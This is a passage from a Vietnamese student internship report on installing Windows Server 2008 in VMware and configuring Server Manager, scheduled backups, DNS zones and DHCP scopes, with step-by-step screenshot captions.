nhanh chong. Vi vây, bạn sẽ không bao giơ cân phai lo lăng vê nhưng dư liêu đươc

10Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 18: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

lưu trư trên nhưng gi may trạm như bạn lam trong môt mạng peer-to-peer. Ngay

nay, hâu hêt cac loại phương tiên truyên thông co thê đươc sử dung cho muc đich

sao lưu. Ngoai cac ô đia truyên thông băng, đia CD, DVD, lưu trư va thâm chi loại

bo Network Attached Storage (NAS) thiêt bi nay la chấp nhân đươc. Sư lưa chon

cua bạn cua phương tiên truyên thông sẽ phu thuôc vao yêu câu cu thê cua bạn sao

lưu. Tuy thuôc vao ngân sach cua bạn va nhu câu lưu giư dư liêu cua bạn, bất ky

trong sô nay sẽ la môt giai phap chấp nhân đươc. Hay chăc chăn rằng bạn co it nhất

môt ban sao lưu hang tuân theo lich trinh, măc du hang ngay sẽ tôt hơn.

2.2.2.2 Giới thiêu về Windows Server 2008

Window Server 2008 la hê điêu hanh Windows Server tân tiên nhất cho

tơi thơi điêm nay, đươc thiêt kê nhằm tăng sưc mạnh cho cac mạng, ưng dung va

dich vu Web thê hê mơi. Vơi Windows Server 2008, bạn co thê phat triên, cung cấp

va quan ly cac trai nghiêm ngươi dung va ưng dung phong phu, đem tơi môt hạ tâng

mạng co tinh bao mât cao, va tăng cương hiêu qua vê măt công nghê va gia tri trong

phạm vi tô chưc cua minh.

Windows Server 2008 kê thưa nhưng thanh công va thê mạnh cua cac hê

điêu hanh Windows Server thê hê trươc, đông thơi đem tơi tinh năng mơi co gia tri

va nhưng cai tiên mạnh mẽ cho hê điêu hanh cơ sơ nay. Công cu Web mơi, công

nghê ao hoa, tinh bao mât tăng cương va cac tiên ich quan ly giup tiêt kiêm thơi

gian, giam bơt cac chi phi, va đem tơi môt nên tang vưng chăc cho hạ tâng Công

nghê thông tin (CNTT) cua bạn.

Nền tảng chắc chắn dành cho doanh nghiêp

Windows Server 2008 đem tơi môt nên tang chăc chăn đap ưng tất ca cac

yêu câu vê ưng dung va chê đô lam viêc cho may chu, đông thơi dễ triên khai va

quan ly. Thanh phân mơi Server Manager cung cấp môt console quan ly hơp nhất,

đơn gian hoa va săp xêp môt cach hơp ly viêc cai đăt, cấu hinh va quan ly liên tuc

cho may chu. Windows PowerShell, môt shell mơi kiêu dong lênh, giup quan tri

viên tư đông hoa cac tac vu thương trinh vê quan tri hê thông trên nhiêu may chu.

Windows Deployment Services đem tơi môt phương tiên bao mât cao, đơn gian hoa

đê nhanh chong triên khai hê điêu hanh nay qua cac bươc cai đăt trên nên mạng.

11Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 19: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Thêm vao đo, cac Wizard Failover Clustering cua Windows Server 2008, va viêc hô

trơ đây đu cho Giao thưc Internet phiên ban 6 (goi tăt la IPv6) công vơi kha năng

quan ly hơp nhất Network Load Balancing khiên dễ dang triên khai vơi tinh sẵn co

cao, thâm chi bơi nhưng ngươi co hiêu biêt chung nhất vê CNTT.

Tuy chon cai đăt mơi Server Core cua Windows Server 2008 cho

phep cai đăt cac vai tro may chu chi vơi nhưng thanh phân va hê thông phu cân thiêt

ma không cân giao diên ngươi dung. Viêc co it hơn cac vai tro va đăc tinh đông

nghia vơi viêc giam thiêu công viêc cho ô đia va dich vu, đông thơi giam bơt cac bê

măt tấn công. San phâm cung cho phep nhân viên CNTT xây dưng đăc ta tuy theo

cac vai tro may chu cân hô trơ.

Tích hơp công nghê ảo hóa (Virtualization)

Windows Server Hyper-V, công nghê ao hoa thê hê kê tiêp danh cho may

chu trên nên Hypervisor, cho phep tân dung tôi đa cac khoan đâu tư vao phân cưng

may chu bằng cach hơp nhất nhiêu vai tro may chu thanh cac may ao riêng biêt

chạy trên môt may vât ly duy nhất. Cung co thê chạy song song nhiêu hê điêu hanh

như Windows, Linux va cac hê điêu hanh khac môt cach hiêu qua trên môt may chu

duy nhất. Vơi Hyper-V va cac chinh sach cấp phep đơn gian, giơ đây co thê tân

dung lơi thê cua cac khoan tiêt kiêm chi phi va ao hoa môt cach dễ dang hơn bao

giơ hêt.

12Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 20: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.2.2 Mô hình ảo hóa

Nhơ cac công nghê truy câp ưng dung tâp trung cua Windows Server

2008, cac ưng dung cung đươc ao hoa môt cach hiêu qua. Terminal Services

Gateway va Terminal Services RemoteApp cho phep dễ dang truy câp tư xa tơi cac

chương trinh chuân hoạt đông trên nên Windows tư bất cư vi tri nao bằng cach chạy

chương trinh trên môt may chu đâu cuôi thay vi chạy trưc tiêp trên môt may trạm

ma không cân tơi môt mạng riêng ao (VPN) phưc tạp.

Đươc xây dưng phục vụ Web

Windows Server 2008 xuất hiên vơi Internet Information Services 7.0 (IIS

7.0), môt nên tang may chu Web dễ sử dung, tăng cương bao mât đê phat triên va

lưu trư cac ưng dung va dich vu Web môt cach tin cây. Đăc tinh nâng cao quan

trong đôi vơi nên tang Web IIS 7.0 bao gôm môt kiên truc đươc thanh phân hoa đê

đem tơi kha năng linh hoạt va kiêm soat cao hơn. II 7.0 cung cung cấp cac kha năng

quan ly đươc đơn gian hoa, kha năng khăc phuc sư cô mạnh mẽ, mang tinh chân

đoan giup tiêt kiêm thơi gian va kha năng mơ rông toan diên.

13Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 21: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Internet Information Server IIS 7.0

Cung vơi NET Framework 3.0 cung cấp môt nên tang toan diên đê xây

dưng cac ưng dung kêt nôi ngươi dung va dư liêu, cho phep ho hinh anh hoa, chia

sẻ va thao tac thông tin. Thêm vao đo, IIS 7.0 con đong vai tro trung tâm trong viêc

hơp nhất cac công nghê nên tang Web cua Microsoft-ASP.NET, cac dich vu Web

cua Windows Communication Foudation, va Windows Sharepoint Services.

Hình 1.4 Giao diện Internet Information Services (IIS) Manager

Bảo mật cao

Windows Server 2008 la hê điêu hanh Windows Server bao mât nhất tư

trươc đên giơ. Hê điêu hanh nay đa đươc cung cô chăc chăn đê giup bao vê chông

lại hong hoc. Môt sô công nghê mơi giup ngăn chăn cac kêt nôi bất hơp phap tơi cac

mạng, may chu, dư liêu cua bạn va cac tai khoan ngươi dung. Chưc năng Network

Access Protection (NAP) giup đam bao rằng nhưng may tinh nao muôn kêt nôi vơi

mạng cua bạn đêu phai tuân thu chinh sach bao mât cua tô chưc. Viêc tich hơp công

nghê va nhiêu tinh năng nâng cao khiên cac dich vu Active Directory trơ thanh môt

giai phap IDA (Identity and Access - Nhân dạng va Truy câp) tich hơp, hơp nhất va

mạnh mẽ. Thêm vao đo, Read-Only Domain Controller (RODC) va ma hoa ô đia

bằng BitLocker cho phep bạn triên khai cơ sơ dư liêu AD môt cach bao mât hơn

trên khăp cac khu vưc cua văn phong chi nhanh.

14Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 22: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Tính toán hiêu năng cao

Lơi ich va cac khoan tiêt kiêm chi phi cua Windows Server 2008 mơ rông

tơi Windows HPC Server 2008 đê phuc vu cho môi trương tinh toan hiêu năng cao

(HPC) cua bạn. Windows HPC Server 2008 đươc xây dưng trên nên Windows

Server 2008, công nghê 64 bit va co thê mơ rông môt cach hiêu qua tơi hang nghin

lôi xử ly vơi tinh năng co sẵn đê cai thiên hiêu suất, va giam tinh phưc tạp cua môi

trương HPC. Windows HPC Server 2008 cho phep triên khai rông rai hơn bằng

cach đem tơi cho ngươi dung cuôi nhưng trai nghiêm phong phu va tich hơp, mơ

rông tư ưng dung may ban tơi cac cum may, va bao gôm môt bô tron ven cac công

cu triên khai, quan tri va giam sat. Cac công cu nay dễ triên khai, quan ly va tich

hơp vơi hạ tâng CNTT hiên co cua bạn.

2.3 Các công nghê đươc tiếp xúc, quá trình làm viêc và các kiến thức:

2.3.1 Làm viêc với Windows Server 2008 trên môi trường máy ảo VMWare:

Hình 2.3.1 VMware Workstation 10

15Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 23: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

- VMWare WorkStation la môt phân mêm giup tạo may ao.

- Chạy cac ưng dung trên nhiêu hê điêu hanh bao gôm ca Linux, Windows

va nhiêu hơn nưa cung môt luc trên cung môt may tinh ma không cân khơi đông lại.

- Giup đanh gia va kiêm tra hê điêu hanh mơi, cac ưng dung va cac ban va

lôi trong môt môi trương bi cô lâp.

- Cung cô nhiêu may tinh chạy cac may chu web, may chu cơ sơ dư liêu,

v.v… vao môt may tinh duy nhất.

- Xây dưng kiên truc tham khao đê đanh gia trươc khi triên khai vao san

xuất.

- Thưc hanh vê may Windows Server 2008 trên may ao đê nghiên cưu

trươc khi triên khai trên hê thông thât.

2.3.1.1 Cài đặt và cấu hình máy chủ Windows Server 2008

Xac đinh yêu câu phân cưng:

Hình 2.3.1.1-1 Cấu hình cai đặt Windows Server 2008.

Cac bươc cai đăt Windows Server 2008 (cai đăt trên môi trương may ao VMware

Workstation)

- Mơ may ao VMware Worksttion

Hình 2.3.1.1-2

- Click File New Vitual Machine

16Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 24: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.1-3

- Xuất hiên hôp thoại New Vitual Machine Wizard Click Next>.

Hình 2.3.1.1-4

- Nêu cai đăt bằng đia Window Server 2008 thi chon Installer disc. Nêu co file

ISO thi click Installer disc image file (iso) va click Browse… chon đương dân

đên nơi chưa file ISO.

17Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 25: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.1-5

- Nhâp Windows product key hoăc đê trông rôi Click Next.

Hình 2.3.1.1-6

- Chon Location nơi Windows Server sẽ cai đăt vao nơi nao trong ô đia. Click

Next.

18Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 26: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.1-7

- Nhâp dung lương ô đia vao ô Maximum disk size khuyên nghi la 40 GB, click

Next.

Hình 2.3.1.1-8

19Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 27: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

- Click Finish đê tiên hanh cai đăt.

Hình 2.3.1.1-9

- Đang trong tiên trinh cai đăt

Hình 2.3.1.1-10

- Sau khi cai đăt xong, trong lân đăng nhâp đâu tiên, hê thông yêu câu bạn thay

đôi mât khâu ngay lâp tưc

20Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 28: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.1-11

- Bạn bấm OK, nhâp mât khâu mơi va bấm Enter

Hình 2.3.1.1.12

. Hoan tất cai đăt Windows Server 2008

2.3.1.2 Khởi tạo cấu hình lần đầu tiên cho Windows Server 2008

Ngay khi bạn đăng nhâp thanh công, hê thông hiên thi man hinh yêu câu

thưc hiên cac thao tac cấu hinh ban đâu cho Windows (Initial Configuration Tasks).

Trong đo bao gôm :

- Set time zone: thiêt lâp time zone cho server.

- Configure networking: thiêt lâp cac thông sô kêt nôi mạng bằng cach

mơ cửa sô Network Connections va tương tac vơi cac kêt nôi hiên co trên server.

- Provide computer name and domain: mơ hôp hôi thoại System

Properties đê thay đôi tên may tinh va kêt nôi vao Domain.

21Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 29: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

- Enable automatic updating and feedback: kich hoạt tinh năng nay đê

cho phep bạn cấu hinh Windows automatic updating, Windows Error Reporting va

Customer Experience Improvement Program.

Hình 2.3.1.2-1 Man hình Initial Configuration Task

Hình 2.3.1.2-2 Kích hoạt tính năng automatic updating and feedback

22Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 30: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Cài đặt Server Manager

Ngay khi kêt thuc cac bươc cấu hinh va đong man hinh Initial

Configuration Tasks, man hinh Server Manager tư đông đươc kich hoạt. Tại đây,

ta co thê thưc hiên hâu hêt cac thao tac cấu hinh trên server.

Hình 2.3.1.2-3 Man hình chính của Server Manager

Server Manager la môt công cu cho phep ta thưc hiên hâu hêt cac thao tac

quan tri trên Windows Server 2008, tư cac dich vu server như Active Directory,

DNS, DHCP, … đên cac thanh phân cua hê thông như NET Framework 3.0,

Network Load Balancing, Group Policy Management, … ; tư hê thông firewall,

quan ly users va groups đên cac dich vu sao lưu hê thông, quan ly đia v.v…

Co thê noi rằng công cu nay la kêt qua cua sư kêt hơp hoan hao cac công cu

quan ly trên nhưng phiên ban Windows trươc đo.

Theo măc đinh, Server Manager sẽ tư đông khơi đông ngay sau khi bạn đăng

nhâp vao hê thông. Nêu đa đong cửa sô nay, ta co thê thưc hiên môt trong nhưng

cach sau đê mơ lại:

Kich chuôt phai vao biêu tương Computer trên desktop, chon Manage.

Cac thanh phân trong Server Manager

23Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 31: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Khi lam viêc vơi Server Manager, ta sẽ tương tac vơi 5 thanh phân chinh :

- Roles cho phep bô sung va loại bo cac dich vu cua server. Tại đây ta

cung co thê quan ly chi tiêt dư liêu tương ưng vơi môi dich vu.

Features cho phep bô sung va loại bo cac thanh phân trên Windows Server 2008.

Chưc năng nay tương tư như Add/Remove Windows Components trong cac phiên

ban Windows trươc đo.

- Diagnostics tich hơp cac thanh phân Event Viewer, Reliability and

Performance va Device Manager.

- Configuration bao gôm cac công cu Local Users And Group, Task

Scheduler, Windows Firewall with Advanced Security, WMI Control va

Services. WMI Control đươc dung đê quan ly cac dich vu Windows Management

Instrumentation.

- Storage tich hơp hai công cu Windows Server Backup va Disk

Management.

Hình 2.3.1.2-4 Quản ly chi tiêt trên Active Directory Users and Computer.

24Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 32: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Quản ly các dịch vụ Server (Roles)

Đê mơ cac cửa sô quan ly cac dich vu server, ta chon muc Roles ơ khung

bên trai cua man hinh Server Manager. Trên Windows Server 2008 noi chung, ta

co thê triên khai tất ca 16 dich vu server tư Active Directory Domain Services đên

cac server như DHCP, DNS, Web, …

Lưu y: ngoai 16 dich vu server co măt trên tất ca cac phiên ban Windows

Server 2008, Microsoft con cung cấp môt dich vu server nưa, đo la Hyper-V.

Hyper-V la công nghê ao hoa chi chạy trên cac nên tang hê điêu hanh 64-bit.

Đê cai đăt môt dich vu server bất ky, ta đanh dấu chon vao ô tương ưng trên

hôp thoại Select Server Roles. Tiêp theo, bấm nut Install đê băt đâu. Trong tiên

trinh cai đăt, tuy theo đăc điêm riêng cua tưng dich vu server, ta sẽ điên thông tin va

thưc hiên cac thao tac cân thiêt đê hoan thanh tiên trinh.

Hình 2.3.1.2-5 Cac dịch vụ Server trên Windows Server 2008

25Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 33: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Quản ly các thành phần (Features)

Đê mơ cửa sô quan ly cac thanh phân, ta chon muc Features ơ khung bên

trai cua man hinh Server Manager. Trên Windows Server 2008 ta co thê tương tac

vơi tất ca 35 thanh phân.

Đê cai đăt môt thanh phân bất ky, bạn đanh dấu chon vao ô tương ưng trên

hôp thoại Select Features. Tiêp theo, bấm nut Install đê băt đâu. Trong tiên trinh

cai đăt, tuy theo đăc điêm riêng cua tưng thanh phân, bạn sẽ điên thông tin va thưc

hiên cac thao tac cân thiêt đê hoan thanh tiên trinh.

Hình 2.3.1.2-6 Cac thanh phần Feature trên Windows Server 2008.

Sau khi cai đăt xong, thông tin va trạng thai cua cac thanh phân sẽ hiên thi

trong khung Features Summary thuôc cửa sô Server Manager. Tại đây, ta cung

co thê thưc hiên cac thao tac bô sung va loại bo cac thanh phân nay.

26Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 34: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Quản ly không gian lưu trữ và sao lưu dữ liêu (Storage) và Backup Server.

Măc đinh, Windows Server Backup chưa sẵn dung trên Windows Server

2008. Do đo, ta cân bô sung thanh phân nay vao hê thông trươc khi sử dung. Cac

bươc thưc hiên như sau :

Trong cửa sô Server Manager, ơ khung Feature Summary, ta chon Add

Features.

Hình 2.3.1.2-7

Trong man hinh Select Features, đanh dấu chon muc Windows Server Backup

Features va bấm nut Next.

Hình 2.3.1.2-8

27Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 35: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Trong man hinh Confirm Insatallation Selection, bấm nut Install đê băt đâu cai

đăt.

Hình 2.3.1.2-9

Trong man hinh Installation Results, bấm nut Close đê hoan thanh thao tac bô

sung thanh phân cân thiêt vao Windows Server 2008

Hình 2.3.1.2-9

28Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 36: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Kich chuôt phai lên muc Windows Server Backup trong Storage, chon Backup

Schedule.

Hình 2.3.1.2-10

Trong man hinh Getting started, bấm nut Next.

Hình 2.3.1.2-11

29Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 37: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Trong man hinh Select backup configuration, chon Custom nhấn Next.

Hình 2.3.1.2-12

Trong man hinh Select backup items, chon ô đia chưa hê điêu hanh, trong trương

hơp nay la ô đia C: nhấn nut Next.

Hình 2.3.1.2-13

30Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 38: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Trong man hinh Specify backup time, chon sô lân va thơi điêm sao lưu. Ở đây,

chung ta chon sao lưu vao luc 9:00 tôi môi ngay (Once a day). Sau khi chon xong,

nhấn nut Next.

Hình 2.3.1.2-14

Trong man hinh Select destination disk, đanh dấu chon vao ô đia ma ta sẽ sao lưu

đên va bấm nut Next.

Trong man hinh Label destination disk, bấm nut Next.

Trong man hinh Summary, bấm nut Finish đê hoan thanh thao tac tạo lich trinh sao

lưu ô đia.

2.3.1.3 Cài đặt dịch vụ DNS

DNS (Domain Name System) Server la may chu đươc dung đê phân giai

Domain thanh đia chi IP va ngươc lại. Vi du: athena.edu.vn la 192.168.1.82.

Vê cach thưc hoạt đông, DNS Server lưu trư môt cơ sơ dư liêu bao gôm

cac ban ghi DNS va dich vu lăng nghe cac yêu câu. Khi may client gửi yêu câu

phân giai đên, DNS Server tiên hanh tra cưu trong cơ sơ dư liêu va gửi kêt qua

tương ưng vê may client.

31Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 39: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Tại cửa sô Server Manager, chon muc Roles, chon muc Add Roles.

Hình 2.3.1.3-1

Chon DNS va click Next

Hình 2.3.1.3-2

32Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 40: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Nhấn Next.

Hình 2.3.1.3-3

Click Install đê cai đăt DNS

Hình 2.3.1.3.4

33Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 41: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Qua trinh cai đăt hoan tất.

Hình 2.3.1.3.5

Đê cấu hinh DNS Server vao menu Start Administrative Tools → DNS.

Hình 2.3.1.3-6

34Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 42: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Right click Forward Lookup Zones, chon New Zone.

Hình 2.3.1.3-7

Trong man hinh Welcome, nhấn Next.

Hình 2.3.1.3-8

35Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 43: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Trong man hinh Zone Type, chon Primary zone đê cấu hinh DNS Server chinh.

Sau đo nhấn Next.

Hình 2.3.1.3-9

Trong man hinh Zone Name, ta nhâp tên zone vao muc Zone name, vi du

athena.edu.vn. Sau đo nhấn Next.

Hình 2.3.1.3-10

36Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 44: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Trong man hinh Zone File, ta chấp nhân gia tri măc đinh va nhấn Next.

Hình 2.3.1.3-11

Đê măc đinh va nhấn Next.

Hình 2.3.1.3-12

37Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 45: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Trong man hinh Completing, ta xem lại thông tin vê DNS Server va nhấn Finish đê

hoan thanh thao tac cấu hinh DNS.

Hình 2.3.1.3-13

Tiêp theo, ta right click vao athena.edu.vn chon New Host(A or AAA)…

Hình 2.3.1.3-14

38Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 46: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Trong cửa sô New Host điên www vao Name, nhâp IP 192.168.1.82 vao IP

address, nhấn Add Host.

Hình 2.3.1.3-15

Tạo host thanh công, nhấn OK.

Hình 2.3.1.3-16

Tương tư ta tạo thêm host mail.

39Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 47: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.3-17

Tạo host mail thanh công, nhấn OK.

Hình 2.3.1.3-18

Vơi cac bươc vưa thưc hiên ơ trên, ta đa cấu hinh chưc năng Forward.

Tiêp theo, ta sẽ cấu hinh chưc năng Reverse. Right click Reverse Lookup Zones,

chon New Zone.

40Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 48: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.3-19

Trong man hinh Welcome, nhấn Next.

Hình 2.3.1.3-20

Trong man hinh Zone Type, chon Primary. Sau đo nhấn Next.

41Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 49: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.3-21

Trong man hinh Reverse Lookup Zone Name, chon Ipv4.

Hình 2.3.1.3-22

Tiêp theo, điên Network ID cua minh va nhấn Next.

42Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 50: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.3-23

Trong man hinh Zone File, chấp nhân gia tri măc đinh nhằm tạo ra môt file dung đê

lưu cac ban ghi DNS cho zone nay, nhấn Next.

Hình 2.3.1.3-24

43Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 51: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Trong man hinh Dynamic Update, chon Do not allow dynamic updates va nhấn

Next.

Hình 2.3.1.3-25

Trong man hinh Completing, nhấn Finish đê hoan thanh thao tac cấu hinh chưc

năng Reverse trên DNS Server chinh.

Hình 2.3.1.3-26

44Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 52: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Cấu hinh host đại diên dung đê phân giai tên ra sô.

Trong man hinh DNS Manager, chon Forward Lokkup Zones, right click

athena.edu.vn, chon New Pointer (PTR)…

Hình 2.3.1.3-27

45Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 53: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Muc Host IP_Address nhâp 192.168.1.82 va muc Host name nhấn Browse….

Chon đên www.athena.edu.vn. Nhấn OK.

Hình 2.3.1.3-28

Tương tư cho mail

Hình 2.3.1.3-29

46Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 54: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Đê kiêm tra, vao cmd gõ nslookup, www.athena.edu.vn, mail.athena.edu.vn.

Hình 2.3.1.3-30

Cai đăt va cấu hinh DNS thanh công.

47Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 55: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

2.3.1.4 Dịch Vụ DHCP

DHCP (Dynamic Host Configuration Protocol) Server la may chu đươc

dung đê cấp phat đia chi IP đông cho cac may trạm trong môt hê thông mạng. Trên

cac phiên ban trươc như Windows Server 2000 hay Windows Server 2003, ta đa

quen thuôc vơi chưc năng nay.

Vê cach thưc hoạt đông, DHCP Server sử dung dich vu cung tên đê lăng

nghe yêu câu xin cấp phat đia chi IP đươc gơi tư may trạm. Sau khi nhân yêu câu,

DHCP Server sẽ chon ra môt đia chi IP trong day đia chi cua minh va gơi vê cho

may trạm. Đông thơi, DHCP Server cung gơi đên may trạm cac thông tin liên quan

đên đia chi IP như subnet mask, đia chi IP cua cac DNS Server, default gateway, …

Đôi vơi Windows Server 2008, cach thưc cai đăt va cấu hinh đươc mô ta

chi tiêt ngay sau đây.

Mơ cửa sô Server Manager. Trong khung ơ bên phai, nhấn Add Roles.

Hình 2.3.1.4-1

Chon dich vu DHCP va nhấn Next.

48Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 56: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 2.3.1.4-2

Nhấn Next.

Hình 2.3.1.4-3

49Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 57: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Chon card mạng lăng nghe yêu câu xin cấp DHCP va nhấn Next.

Hình 2.3.1.4-4

Nhâp thông tin vê Domain va cac DNS Server, sau đo nhấn Next.

Hình 2.3.1.4-5

50Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 58: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Trong man hinh Specify IPv4 WINS Server Settings, chon WINS is not required

for applications on this network. Sau đo nhấn Next.

Hình 2.3.1.4-6

Trong man hinh Add or Edit DHCP Scopes, nhấn Add. Va điên cac thông tin cân

thiêt. va nhấn OK.

Hình 2.3.1.4-7

51Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 59: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Sau khi hoan thanh viêc đinh nghia cac day đia chi, ta nhấn Next trong man hinh

Add or Edit DHCP Scopes.

Hình 2.3.1.4-8

Trong man hinh Configure DHCPv6 Stateless Mode, chon Disable DHCPv6

stateless mode for this server.

Hình 2.3.1.4-9

52Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 60: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Trong man hinh Authorize DHCP Server, chon tai khoan dung đê cấp phep

(authorizing) cho DHCP Server trong Active Directory Domain Services. Sau đo,

nhấn Next.

Hình 2.3.1.4-10

Trong man hinh Confirm Installation Selections, ta xem lại cac thiêt lâp vưa thưc

hiên va nhấn Install đê băt đâu cai đăt.

Hình 2.3.1.4-11

53Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 61: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Như vây chung ta đa hoan tất qua trinh cai đăt va cấu hinh dich vu DHCP.

Đên đây, DHCP đa sẵn sang cung cấp đia chi IP cho cac may trạm trong hê

thông mạng. Nêu muôn hiêu chinh cac thông sô cấu hinh, ta thưc hiên theo cac

bươc sau:

Vao menu Start/Programs/Administrative Tools, chon DHCP.

Hình 2.3.1.4-12

Mơ rông muc IPv4, right click dong Scope [192.168.1.0], chon Properties.

Hình 2.3.1.4-13

